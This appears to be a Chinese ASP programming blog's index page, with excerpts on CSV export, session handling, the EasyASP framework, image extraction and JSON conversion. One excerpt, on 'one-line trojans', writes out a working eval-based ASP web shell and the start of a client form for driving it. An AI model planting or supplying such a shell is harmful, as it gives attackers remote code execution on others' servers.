浏览模式: 普通 | 列表

导出*.csv的xls时出现乌龙事件

[ 2010-04-16 09:19:16 | 作者: admin ]
本来导出一个csv也是家常便饭的事情,今天花了2个小时就是搞不定,出现“无法下载”的提示。
无论怎么修改header就是不行,本地测试绝对正常,传到服务器上就报错。
直接在服务器上测试发现报500错误,才知道程序有问题,去掉Response.ContentType = "application/ms-excel" 后找到错误原因:自己本地加了函数服务器没有同步更新。
原来做文件输出的时候,浏览器关闭友好提示,500错误就不会出现了,容易对调试程序产生误导。


程序参考
'*************************
'导出excel文件
'*************************      
if request.Form("act")="ExportExcel" then

         '输出文件头
  Response.Buffer = true
...

阅读全文…
由于session的过期有很多不稳定因素存在,为了保证使用时间,可以利用cookie加以辅助

在申明session的同时增加一个ID的cookie变量
session("uid") = "123"
session("uname") = "52News.com"
session("key") ="&&$^@(@jsdfwer3"
Response.Cookie("uid") = "123"

当session在意外丢失的时候,可以利用cookie再次生成session变量,保证运行的稳定。

关于中量级asp开发框架之EasyASP

[ 2010-04-02 10:14:29 | 作者: admin ]
EasyASP是一个方便快速开发ASP的类,其中包含了数据库控制类Easp.db,具有对数据库进行各类操作、调用MSSQL存储过程及记录集分页等功能。EasyASP同时提供了大量实用的ASP通用过程及方法,可以简化大部分的ASP操作。目前提供下载的是VBScript版。
最新在线帮助文档请查看EasyASP官方网站 http://easp.lengshi.com
了解EasyASP最新进展,请访问EasyASP官方交流区 http://bbs.lengshi.com
下载地址:http://code.google.com/p/easyasp/

EasyASP 的特点:

1.能方便的实现一个或多个数据库的增、删、改等控制操作。
2.对数据库字段进行操作时可以不用考虑字段值数据类型的差别(如文本字段不用加单引号)。
3.自带记录集分页和调用存储过程分页功能,拥有功能丰富的可完全自定义配置及调用。
...

阅读全文…

国内asp开发框架一览

[ 2010-04-02 09:55:34 | 作者: admin ]
p.s. 个人意见,相对而言easyAsp作者比较认真,代码严谨,功能完善,值得学习和参考

1. EasyASP
网站:http://code.google.com/p/easyasp/
简要说明:

能方便的实现一个或多个数据库的增、删、改等控制操作。对数据库字段进行操作时可以不用考虑字段值数据类型的差别(如文本字段不用加单引号)。自带记录集分页和调用存储过程分页功能,拥有功能丰富的可完全自定义配置及调用。能方便的执行带各种参数的MSSQL存储过程并返回多个值或多个记录集。完善的数据库操作容错功能,能即时输出出错SQL语句方便调试。在使用已经存在的数据库连接对象时能自动判定数据库类型。专为Ajax设计的数据获取方式及输出Json格式数据。能有效防止SQL注入。自带数据类型验证及服务器端表单验证功能。能轻松实现页面地址获取并对URL参数进行过滤以及替换。具有专为EasyASP开发的适用于Dreamweaver ...

阅读全文…
用asp做网站,有时候会需要从内容中提取第一张图片,这段代码就可以实现,完全无错
运行结果:
http://life.52News.com/skins/2009/images/logo.gif
引用
处理内容开始
<IMG alt="" src="http://life.52News.com/skins/2009/images/logo.gif">本站的宣传图片
处理内容结束
引用
<%

if GetFirstImg(str)="" then
response.write "未找到图片"
else
response.write GetFirstImg(str)
end if

function GetFirstImg(str) '取得img 标签内容
        dim tmp
        Set objRegExp = New Regexp
...

阅读全文…

ASP实现生成网页输出Word文件

[ 2010-03-19 08:15:28 | 作者: admin ]
< %
const lie=3 '修改列数
const tablewidth="33%" '定义表格的宽度
const tableheight="18%" '定义表格的高度
const imgwidth="15%" '定义表格的宽度
const imgheight="27.5%" '定义表格的高度
const f '定义文字的大小
const txtwidth="120" '图片右侧文字表格宽
const txtheight="18%" '图片右侧文字表格高
const txtalign="left" '图片右侧文字对齐方式:left左,center中,right右
'TOP 强调该文件为Word文件
function doctop()
        doctop="<html xmlns:v=""urn:schemas-microsoft-com:vml"" ...

阅读全文…

一句话木马,eval的客户端asp木马

[ 2010-02-25 13:38:54 | 作者: admin ]
网上的eval asp木马,客户端其实还是调用了execute语句,这样比较方便。如果纯用eval 的话,也不难。但是在eval方法中,有些地方要注意。VBS里正确的写法如下:

EVAL(MsgBox ("1")&MsgBox ("2")) 'Eval 方法,表达式
Eval ("msgbox(""1"")&msgbox(""2"")")
Eval "MsgBox (""1"")&vbrlf&MsgBox (""2"")"
Eval MsgBox ("1")&vbrlf&MsgBox ("2")

EVAL后跟的语句有许多限制。这个要仔细体会。明白了这些,我们简单测试:

S端:<% eval(request("hello")) %>

C端:<form action=http://192.168.0.8/2.asp method=post name=form1>

<textarea ...

阅读全文…

asp将数据库里的记录转换成json

[ 2009-11-16 09:37:48 | 作者: admin ]
<%
'---------------------------------------
' jsonclass类
' 将select语句的执行结果转换成json
'------------------------------------------
class jsonclass
   ' 定义类属性,默认为private
   dim p_sqlstring ' 用于设置select
   dim p_root ' 返回的json对象的名称
   dim rs,conn
  
   private sub class_initialize()
   sqlstring = ""
   json = ""
   '初始化conn和rs
   call initconn(conn)
   call initrs(rs)
   end sub
  
   private sub class_terminate()
...

阅读全文…